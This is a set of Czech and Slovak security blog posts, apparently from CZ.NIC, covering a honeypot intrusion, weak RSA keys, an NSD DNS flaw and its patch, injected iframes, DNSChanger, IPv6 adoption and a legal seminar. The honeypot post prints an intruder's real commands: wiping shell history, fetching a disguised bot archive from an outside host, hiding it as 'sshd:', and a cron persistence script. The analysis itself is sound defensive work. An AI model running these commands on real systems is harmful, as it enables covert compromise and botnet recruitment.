Minulý týden jsme na našem honeypotu zachytili několik pokusů o napadení a zařazení do botnetu. Pro zajímavost chci tedy ukázat jeden případ, jak se hacker snažil zneužít systém, který měl záměrně triviální přihlašovací údaje. Na základě prodlev při psaní příkazů bylo poznat, že nešlo o automatický skript. Dotyčný se snažil nainstalovat a skrýt variantu IRC bota EnergyMech, který již dlouho patří do výbavy převážně script kiddies (dokonce se o něm takto zmiňuje Linux Documentation Project). Tuto konkrétní variantu zaznamenal VirusTotal již v roce 2007.
O co se tedy útočník snažil? V první řadě chtěl zamezit ukládání historie zadávaných příkazů přenastavením proměnných prostředí:
$ unset HISTORY HISTFILE HISTSAVE HISTZONE HISTLOG WATCH; \ > export HISTFILE=/dev/null; export HISTSIZE=0; \ > export HISTFILESIZE=0;unset HISTFILE; unset HISTSAVE; \ > unset REMOTEHOST; unset REMOTEUSER; unset HISTMOVE; \ > unset USERHOST; history -n; unset WATCH; export HISTFILE=/dev/null
Následně si vypsal základní informace o systému, existující domovské adresáře a nalogované uživatele:
$ cat /proc/cpuinfo $ cd /home $ ls -xa $ cd - $ uname -a $ w
Dále udělal několik testů zda již stroj není hacknutý a zda není nainstalován Parallels Plesk Panel (nebyl):
$ strings -a /usr/sbin/sshd | grep %s:%s -A2 -B2 $ cat /etc/psa/.psa.shadow $ history -c $ cat /etc/ssh/.sshd_auth
Sběr informací pokračoval následujícími příkazy (mimochodem je vidět, že zbytečně některé příkazy spouštěl vícekrát):
$ ps -aux $ cat /etc/passwd $ uname -a $ w $ last $ cd ~ $ ls -xa
Až nakonec přešel k samotné instalaci IRC bota. Ten stáhl do adresáře /dev/shm, kde je připojen virtuální souborový systém tmpfs (může do něj zapisovat každý uživatel). Stažený soubor pochopitelně nebyl obrázek, ale archiv (jméno souboru jsem změnil, abych předešel jeho zneužití):
$ cd /dev/shm/ $ ls -xa $ wget http://magic.ucoz.ae/XXX.jpg; tar xvf XXX.jpg;
Obsahem archivu byly následující soubory:
XXX/ XXX/autorun XXX/bash XXX/inst XXX/m.help XXX/pico XXX/r/ XXX/r/raway.e XXX/r/rinsult.e XXX/r/rkicks.e XXX/r/rnicks.e XXX/r/rpickup.e XXX/r/rsay.e XXX/r/rsignoff.e XXX/r/rtsay.e XXX/r/rversions.e XXX/run XXX/start XXX/update XXX/xh
Dalšími příkazy smazal ze skriptů znak carriage return, zamaskoval hlavní binární soubor přejmenováním na sshd:, aby nebyl nápadný mezi spuštěnými procesy a spustil hlavní skript s parametrem qq určujícím použitý IRC kanál:
$ rm -rf XXX.jpg $ cd XXX $ chmod +x * $ mv bash sshd: $ sed -i 's/\r//' start; sed -i 's/\r//' inst; sed -i 's/\r//' run $ ./start qq
Před odchodem ještě jednou zkontroloval /etc/passwd a smazal historii:
cat /etc/passwd history -c
Ze skriptů v archivu stojí za zmínku soubor autorun, který instaloval watchdog script do cronu:
#!/bin/sh pwd > mech.dir dir=$(cat mech.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep update echo "#!/bin/sh if test -r $dir/m.pid; then pid=\$(cat $dir/m.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update
Dále je důležitý také generátor konfigurace inst, který vybral pro bota náhodné jméno a vytvořil soubor m.set s konfigurací pro každou síťovou adresu systému (pro ukázku zde 192.168.1.1) a soubor s příslušným operátorem bota (192.168.1.1.user):
$ cat m.set SERVER 208.83.20.130 6667 SERVER budapest.hu.eu.undernet.org 7000 SERVER budapest.hu.eu.undernet.org 6666 SERVER zurich.ch.eu.undernet.org 7000 SERVER mesa.az.us.undernet.org 7000 ENTITY 192.168.1.1 ### BOT 1 ### NICK Irina USERFILE 192.168.1.1.user CMDCHAR . LOGIN Peter IRCNAME Olga MODES +iwsx HASONOTICE VIRTUAL 192.168.1.1 TOG CC 1 TOG CLOAK 1 TOG SPY 1 SET OPMODES 6 SET BANMODES 6 CHANNEL #qq TOG PUB 1 TOG MASS 1 TOG SHIT 1 TOG PROT 1 TOG ENFM 0 SET MKL 7 SET MBL 7 SET MPL
$ cat 192.168.1.1.user handle * mask *!*@MagicX.users.undernet.org prot 4 aop 1 channel * access 100
Jak je vidět z konfigurace, bot se připojoval na servery sítě Undernet. Když jsem v izolovaném prostředí bota spustil, byl automaticky sítí Undernet odpojován s hlášením:
Infected with a virus or trojan, please clean your system. Cleaner @ http://www.moosoft.com (P227)
V tomto případě jsou tedy skutečné oběti chráněny provozovatelem Undernet serverů a lze jen hádat, jak by útočník napadený stroj dále využíval.
Z hlediska bezpečnosti mě potěšil fakt, že hned příští den přišlo našemu bezpečnostnímu týmu CZ.NIC-CSIRT varování od organizace Shadowserver o mém pokusu připojit se se zmíněnou konfigurací. Tato organizace zdarma monitoruje autonomní systémy a hlásí zjištěné incidenty. Pokud tedy spravujete síť, vřele doporučuji tyto reporty odebírat. Na stejném webu najdete také doporučení, jak botnet detekovat.
Jiří Machálek
Slabé RSA kľúče v TLS a DNSSEC
Praktických dôkazov, že RSA kľúče s modulum menším 1024 bitov (špeciálne 512-bitových) môžu predstavovať bezpečnostné riziko, sa za posledný rok objavilo viacero. Autori malware zneužili slabé 512-bitové RSA kľúče z certifikátov, ktoré mali vhodnú kombináciu X.509v3 extensions a podpisovali nimi malware. Útočníci v tomto prípade pravdepodobne faktorizovali modulus a získali tak privátny kľúč. Výskumníci tiež ukázali, že „okamžitá“ faktorizácia 512-bit RSA modulu je uskutočniteľná a relatívne lacná (menej než cca $150).
Aj keď to boli najskôr posledné X.509 certifikáty zneužiteľné na podpis kódu (ostatné známe sme našli a sú revokované), stále existuje mnoho serverov, ktoré posielajú 512-bitové certifikáty v TLS handshake, napríklad pri naväzovaní HTTPS komunikácie. Doporučené veľkosti kľúčov k rôznym algoritmom uvádza prehľadná tabuľka vychádzajúca z doporučení ECRYPT II (podrobný popis ako sa k hodnotám dostali obsahuje objemný ECRYPT II Yearly Report on Algorithms and Keysizes 2011).
Našťastie od júla 2012 platia nové požiadavky CAB fóra na certifikáty vydávané od CA – už nesmú mať RSA moduly menšie než 1024 bitov, naviac tie s dlhodobou platnosťou musia mať modulus veľkosti aspoň 2048 bitov. Microsoft tiež čoskoro začne blokovať certifikáty s RSA modulom menším než 1024 bitov. Zmeny k lepšiemu je už vidieť ako postupne CA revokujú staršie certifikáty so slabými RSA modulmi, ale stále sa občas nejaký 512-bit nájde.
Podobný problém so slabými RSA sa samozrejme netýka len TLS komunikácie, ale môže nastať tiež v DNSSEC. Ak útočník kľúč faktorizuje, môže pri man-in-the-middle útoku na DNSSEC falšovať podpisy DNS záznamov (tým pádom aj prípadne meniť asociácie na kľúče a certifikáty pinované cez záznamy typu SSHFP alebo TLSA).
Ako to vyzerá s RSA kľúčmi v doméne CZ? Keď sme robili prieskum DNSSEC kľúčov používaných v doméne .CZ pred pol rokom, tak domén s DNSSEC kľúčom s RSA modulom menším než 1024 bitov bolo mnoho (rádovo stotisíc), pri teste 20. júla 2012 už je ich zásadne menej:
- domén s kľúčom menším ako 1023 bitov: 6635
- unikátnych kľúčov so slabým modulom: 5209
- v dvoch prípadoch sa jedná o Key Signing Key, zbytok sú Zone Signing Keys; jeden z týchto KSK už nie je používaný (ale je v zóne)
- päť kľúčov má 768-bit modulus, zbytok 512-bit
- jedna doména má kľúč so slabým verejným exponentom (3)
- existuje jeden revokovaný DNSKEY RSA kľúč s malým modulom
Pre porovnanie veľkosti kľúča a periódy zmeny ZSK odkážem na blog Erica Rescorlu, kde ukazuje, že priame použitie silnejšieho kľúča prináša lepšiu bezpečnosť než častá zmena (key rollover).
Súčasné doporučenia pre KSK a ZSK RSA kľúče znejú:
- KSK 2048 bitov
- ZSK 1024 bitov
- verejný exponent 65537 (0x10001 hex)
Uvedené hodnoty sú minimálne. Tu zase platí, že ani s veľkosťou kľúčov to netreba preháňat – príliš veľké moduly alebo exponenty majú za následok spomalenie overovania RSA podpisu.
Poznámka na koniec: Teoreticky verejný exponent môže byť aj menší (napr. 3), vyšší exponent ale bráni proti implementačným chybám umožňujúcim varianty Bleichenbacherovho útoku (u schém používajícich PKCS#1 v1.5 RSA padding, stalo sa nedávno u openssl – netýkalo sa SSL/TLS, ale CMS).
Ondrej Mikle
Závažná vzdálená zranitelnost v DNS serveru NSD
Kolegové z vývojového týmu Knot DNS se kromě vývoje také velmi pečlivě věnují testování, kterým se snažíme odhalit jednak chyby v samotném kódu našeho serveru, ale také odchylky od „standardu“ s důrazem na interoperabilitu jednotlivých serverů. Píši „standard“ DNS s uvozovkami, jelikož se jedná o souhrn dokumentů, které jsou někdy velmi nejasné, a jejich výklad záleží spíš na dohodě celého DNS ekosystému.
V rámci tohoto testování kolegové z Laboratoří CZ.NIC připravují také sadu DNS dotazů, které jsou nestandardní a zjišťují chování vybraných open-source DNS serverů (Bind 9, NSD 3,…). Jeden z uměle vytvořených testů, které připravili mí kolegové Marek Vavruša a Ľuboš Slovák, za TSIG podpis DNS zprávy připojoval další prázdný RR záznam (konkrétně prázdný TXT záznam). Při testování se ukázalo, že NSD ve všech verzích 3.x (i vývojové verzi 4.x) obsahuje zranitelnost, která je zneužitelná pro pád DNS serveru z libovolného místa v Internetu. Při přijmutí takové DNS zprávy dojde k dereferenci NULL pointru a NSD spadne s chybou SIGSEGV.
Tento problém jsme kolegům z NLnet Labs nahlásili v pondělí krátce po poledni a hned další den ráno jsme měli v poště opravný patch, který přikládám na konec tohoto blogpostu. V době vydání tohoto blogpostu by také na stránkách NSD měla být k dispozici verze 3.2.12, která tento bezpečnostní problém opravuje.
Jelikož se jedná o vzdálenou zranitelnost, na kterou neexistuje žádný workaround, důrazně doporučujeme v případě, že používáte NSD 3, okamžitě záplatovat vaše DNS servery.
Patch:
--- query.c (revision 3609)
+++ query.c (working copy)
@@ -1379,6 +1379,9 @@
edns = &nsd->edns_ipv6;
}
#endif
+ if (RCODE(q->packet) == RCODE_FORMAT) {
+ return;
+ }
switch (q->edns.status) {
case EDNS_NOT_PRESENT:
break;
Ondřej Surý
Útoky pomocí iframe, jejich maskování útočníky a obrana
Při práci s naší aplikací MDM musíme občas řešit žádosti o pomoc týkající se nalezeného vadného kódu na webových stránkách. Je to celkem pochopitelné, stránky jsou často v provozu roky, nikdo na ně za tu dobu nesáhl a nebo si je držitel nechával od někoho dělat a dnes už třeba na tvůrce webu nemá ani kontakt. Zkrátka důvodů, proč se na nás oběti útoků obrací, existuje celá řada. Proto jsem se rozhodl napsat tento článek, abych mohl názorně demonstrovat, s jakými problémy se nejčastěji setkáváme, jak lze zamaskovaný javascript v kódu stránky nalézt a jak dále postupovat po jeho odhalení.
Jako první krok je vhodné zkusit tento on-line nástroj, který vám může ušetřit hodně času. Obsahuje databázi skriptů a technik používaných útočníky a pokud je na vašich stránkách rozpozná, ukáže vám také zdrojový kód, který je původcem problému. Další podobný nástroj, který Vám může hodně pomoci, je urlquery.net. Ten totiž provede analýzu stránky automaticky a ukáže Vám například, odkud se které části stránky stahovaly. Pokud pak ve výpise uvidíte neznámou doménu, tak máte jasno, odkud se malware vzal. Pokud ani toto nepomůže, je potřeba hledat jiným způsobem, tedy podívat se do zdrojového kódu webových stránek.
Nejčastěji se při útocích setkáváme s použitím tagu iframe. Ten se používá pro vnoření webové stránky do jiné. Konkrétní vložení kódu se pak provádí tagem <iframe>. Snahou útočníků je samozřejmě dosáhnout toho, aby vložený prvek nebyl na napadeném webu snadno viditelný, proto použijí atributy, kterými se vložený frame zmenší na nejmenší možnou velikost a zároveň mu nastaví jeho neviditelnost. Samotné nastavení neviditelnosti by nestačilo, protože vložený prvek by na cílové stránce okupoval určitý prostor, což by bylo nápadné. Proto útočník obvykle použije nějakou takovouto konstrukci:
Pokud tedy na podobný kód směřující na vám neznámou doménu při zkoumaní html kódu narazíte, bude to pravděpodobně to co hledáte. Takovýto zřejmý odkaz by však dokázal i trochu zkušenější uživatel v kódu html najít, obzvlášť, pokud přihlédneme k tomu, že je tento odkaz obvykle směřován na pro nás přece jen trochu exotičtější domény typu .cn. Proto útočníci přistupují i k dalším metodám zmatení kódu. Bohužel takto zamaskovanou změnu již není možné snadno odhalit. Proto se také obvykle setkáváme s částmi kódu, které vypadají asi takto:
Zde již není možné na první pohled jednoznačně určit, zda byl kód vložen dodatečně útočníkem, či zda tam tento kus kódu vložil původní tvůrce stránek. Ve spodní části je v závorce velká řada čísel a písmen. Podle použitých čísel a písmen můžeme usuzovat na použití hex kódu k zamaskování skutečné URL. Jedná se o obvyklou taktiku používanou útočníky. Nyní tedy použijeme on-line dekódovací nástroj, upozorňuji, že je potřeba vzít pouze tuto část skriptu:
Po dekódování získáme takovýto výsledek:
Opět i bez hlubší znalosti JavaScriptového kódu vidíme, že script vkládá do webové stránky iframe odkazující na gstats.cn. Upozorňuji, že se jedná o skutečný kód použitý na jednom z napadených webů. Proto nedoporučuji zkoumat obsah webu http://gstats.cn. Toto platí i pro všechny další ukázky.
Další metodou, jak odhalit pravou funkci podezřelého skriptu, je jeho spuštění. Toto však doporučuji pouze zkušeným uživatelům a pouze v k tomu účelu vytvořeném virtuálním PC nebo v některém sandboxu. K samotnému provedení této akce lze použít například nainstalovaný Firefox a v něm plugin firebug. Řekněme, že máme takovýto skript:
Pro jeho zpřehlednění můžeme použít on-line nástroj jsbeautifier(). Zkopírujeme vše mezi tagy script a na stránce jsbeatifier.org si jej necháme upravit tak, aby pro nás byl více přehledný. Získáme takovýto výstup:
Nyní změníme ve skriptu příkaz document.write(str); na alert(str);. Tím zajistíme, že se výsledek scriptu nepřidá jako součást stránky, ale vypíše se v jednoduchém dialogovém okně jako text. Nyní spustíme firebug, zvolíme konzole a vložíme předupravený skript. Zvolíme spustit a vyskočí na nás okno, kde vidíme kód, který se jinak vkládá do webové stránky. Jak můžete vidět na obrázku, je to náš starý dobrý známý, tag iframe.
A nyní malá soutěž. Na následující kód jsme narazili nedávno. Je na něm zajímavé například to, že obsahuje záměrně zbytečné části, které mají ztížit orientaci v jeho kódu. Kdo první napíše v diskuzi doménu, na kterou se skriptem vkládaný iframe odkazuje, ten od nás obdrží poštou tričko. Malá rada na závěr, zkuste to pomocí funkce console.log a pozor, opět se jedná o ukázku skutečného kódu, je tedy potřeba se skriptem zacházet opatrně. Prohlédnout si jej můžete zde (původní txt soubor byl nahrazen png obrázkem). Kromě správné odpovědi nezapomeňte připojit také Vaši e-mailovou adresu, ať Vás můžeme ohledně výhry kontaktovat.
Na závěr bych rád uvedl ještě pár rad, kterými je dobré se řídit, pokud již takovouto havěť na svém webu najdete. Jak jste mohli vidět, útočníci jsou opravdu velmi vynalézaví a je proto poměrně obtížné se s těmito způsoby útoku vypořádat. Pokud však odhalíte takovýto kód ve vaší webové aplikaci, doporučujeme následující postup:
1. Odpojte webové stránky, případně změňte úvodní stránku, aby zobrazovala pouze informace o údržbě. Předejdete tak dalšímu napadení uživatelů vašeho webu.
2.Než začnete odstraňovat kód, o němž si myslíte, že do vašich stránek nepatří, udělejte si zálohu, pokud ji nemáte.
3. Pokud máte čistou zálohu stránek, použijte ji. Pokud ne, musíte najít a odstranit škodlivý kód ručně.
4. Zkontrolujte, že na žádném z počítačů, ze kterých web upravujete pomocí FTP, nemáte viry, či jiný malware. Dle našich zkušeností je toto častá cesta, kterou se útočníci k heslům dostanou. Pak pro ně samozřejmě není těžké do stránek přidat svůj vlastní kód.
5.Změňte všechna hesla, která mají nějaký vztah k napadenému webu. Hesla k FTP, SSH, heslo admina aplikace (WordPress, Joomla) atd.
6. Například pomocí již zmiňovaného on-line nástroje zkuste otestovat, zda je Váš web již skutečně v pořádku. Posledním krokem je pak nalezení způsobu, kterým byl kód do stránky vložen. Nejčastějšími příčinami jsou již zmiňovaná krádež hesel pomocí viru na počítači správce webu, dále se může jednat o zastaralou verzi CMS, například WordPress, Joomla a další. Může se jednat také o zranitelnost samotného serveru, na kterém webové stránky běží.
Rozhodně radíme tento problém nepodceňovat, protože na vložené stránce se mohou vyskytovat skripty, které mohou uživateli stáhnout do počítače nebezpečné soubory, či například hledat zranitelnosti používaného prohlížeče.
Pavel Bašta
Někdo má a někdo nemá od včerejška Internet
Americký federální úřad pro vyšetřování (FBI) vypnul v pondělí 9. července DNS servery, které neoprávněně a protizákonně využívaly skupiny hackerů, především ze Spojených států. Tato akce nebyla nečekaná, americký bezpečnostní úřad na toto vypnutí DNS serverů několikrát v minulosti upozornil.
Zpravodajský server BBC uvedl, že byly virem DNSChanger napadeny přibližně čtyři milióny strojů. V pondělí 9. července bylo takto zasažených „pouze“ 300 tisíc těchto zařízení, přičemž 70 tisíc pocházelo ve Spojených států (další desítky tisíc byly z Itálie, Velké Británie a Německa). Tento problém se bohužel nevyhnul ani České republice. Na našem území bylo identifikováno přes 2 000 nakažených počítačů a routerů.
Virem DNSChanger se zabýváme již delší dobu, a to nejen na našem blogu. Díky tomu, a také díky patřičné medializaci celé záležitosti, jsme zaznamenali vzrůstající zájem o naši stránku http://www.dns-ok.cz, díky níž je možné snadno a rychle zjistit, zda je nebo není váš počítač tímto virem napaden.
První vlnu zájmu uživatelů jsme zaznamenali v dubnu tohoto roku, a to v souvislosti s naší snahou na celou záležitost včas upozornit. Tehdy jsme zjistili, že naši testovací internetovou stránku „navštívilo“ přibližně 20 IP adres, které byly tímto virem infikované. V průběhu tohoto pondělí a úterý bylo potom otestováno více než 1 400 unikátních IP adres, z nichž nakažených bylo pouze 10.
Jsme rádi, že stránku www.dns-ok.cz využili i jinde. Z našich logů vyplývá, že zájem projevil i ne zrovna malý počet uživatelů ze Slovenska.
Michal Prokop
IPv6 v České republice měsíc po „dni D“
Je tomu již něco málo přes měsíc, co se firmy z celého světa připojily k akci World IPv6 Launch a CZ.NIC spolu se svými partnery v Praze uspořádal k tomuto tématu konferenci, kde zejména ze stran poskytovatelů připojení zazněly sliby o brzké podpoře IPv6. Pojďme se nyní společně podívat na to, zda všichni ti, kteří se rozhodli šestku zapnout, ji po „velkém dni“ zase rychle nevypnuli a jak Telefónica dodržela svůj slib.
Operátoři – Telefónica dodržela svůj slib
Ti z vás, kteří jste se zúčastnili naší červnové konference, si pravděpodobně vzpomenete na to, jak se Ondřej Filip snažil z operátorů „dostat“ konkrétní termín spuštění šestky a Jakub Votava pak přede všemi prohlásil: „Pro domácí zákazníky bude dual stack k dispozici přibližně za měsíc.“ Ani ne měsíc po tomto prohlášení Telefónica podporu IPv6 skutečně spouští a od 1. července 2012 získávají všichni její noví zákazníci vedle IPv4 rovněž IPv6 adresu a některý ze dvou typů modemů (Comtrend VR-3026e, Huawei EchoLife HG622u) z nabídky. Pro stávající zákazníky nabízí Telefónica možnost objednat si fixní IPv6 adresu na zákaznické lince či v některé z prodejen.
Podíl webů neustále stoupá
Pozitivní dopad měl IPv6 den a všechna mediální pozornost, která ho provázala, rovněž na podporu IPv6 na straně webových, e-mailových a DNS serverů. Podle statistik našich laboratoří má AAAA záznam 13,49 % domén v .cz zóně, což oproti květnu představuje téměř 3% nárůst. Ještě větší skok lze najít v IPv6 Observatory zaměřující se na „velké hráče“ představující 500 nejnavštěvovanějších webů. Česká republika si v tomto žebříčku s přehledem stále drží první místo, přičemž nárůst mezi 1. červnem a 7. červencem činí více než 50 %.
Vzhledem k tomu, že na rozdíl od našich laboratoří se statistika IPv6 zaměřuje jen na 500 nejnavštěvovanějších stránek z dané země (tj. nejen stránky v národní doméně, ale rovněž stránky jako je Facebook.com či Google.com i jiné), můžeme v číslech dobře vidět, jak se podpora šestky v České republice promítla rovněž do statistik ze Slovenska, kde za více než 100% nárůstem stojí především stránky jako je Seznam.cz či Centrum.cz. O tom, že podpora IPv6 na Slovensku není zdaleka tak silná pak svědčí i to, že třeba Zoznam.sk či Centrum.sk zatím podporu nové verze IP protokolu nezprovoznili. Velcí hráči typu Google či Facebook pak stojí za skokovým nárůstem například u Kypru.
Vedle vlastních webů se pak podařilo udržet rovněž podporu IPv6 u DNS serverů, kde se blížíme k „magické“ 50% hranici. Zatímco 7. července, tedy den po „dni D“ naše laboratoře hlásí 49.82 % o měsíc dříve to bylo 49,58 %, to jest o cca. 2 300 domén více.
Jiří Průša
Již pátý právnický seminář přinesl i zkušenosti z Francie a Slovenska
Naše sdružení se vedle své hlavní činnosti, kterou je správa registru českých domén, věnuje také vzdělávacím a osvětovým projektům. Mezi tyto aktivity lze také zařadit semináře pořádané pro odbornou právnickou veřejnost, o kterých si troufám tvrdit, že jsou již tradiční.
Letos se uskutečnil v pořadí již pátý ročník semináře, na který jsou zváni především soudci, firemní právníci a advokáti, tedy všichni profesionálové v oblasti práva, kteří se při své práci setkávají nejen s problematikou doménových jmen, ale i šířeji se specifiky, které přináší virtuální svět a aktivity v něm. Pro účastníky, kterých se sešlo bezmála padesát, byla připravena vystoupení šesti přednášejících, z nichž dva byli ze zahraničí.
Dr. Polčák z Právnické fakulty Masarykovy univerzity v Brně se ve svém příspěvku věnoval možnosti analogického užití nařízení EU, která upravují doménu .eu, ve sporech o české domény, Mgr. Bartošková z Rozhodčího soudu při Hospodářské komoře České republiky a Agrární komoře České republiky, který rozhoduje nejen spory o české domény, ale též o domény .eu a spory o domény podle pravidel UDRP, představila mimo jiné online platformu, jejímž prostřednictvím spor online formou probíhá.
Loni byl velmi kladně přijat zahraniční host, proto jsme i letos přemýšleli, jaká země by místní právníky mohla z hlediska domén a internetového práva zajímat. Volba padla na Francii a Slovensko. M. Georgelin z AFNICu účastníky seznámila se SYRELI, což je francouzský systém pro řešení sporů o doménová jména. Mgr. Abelovský ve své prezentaci kriticky zhodnotil podmínky registrace doménových jmen na Slovensku a Mgr. Lukáč, právní zástupce slovenského registru SK-NIC, se věnoval nejen představení správce národní domény .sk, ale především sporům o slovenská doménová jména a možnostem jejich řešení. Zmínil rovněž připravované změny v pravidlech poskytování jmenného prostoru (obdoba čtenářům známých českých Pravidel registrace).
První ročník tohoto semináře byl půldenní, letos program zabral bezmála celý den. Velmi nás těší rostoucí zájem o tuto akci a kladné reakce účastníků. Tato setkání jsou oboustranně velmi užitečná, tvoří prostor pro vzájemnou výměnu zkušeností a umožňují nám lépe reagovat na požadavky z praxe.
Zuzana Průchová Durajová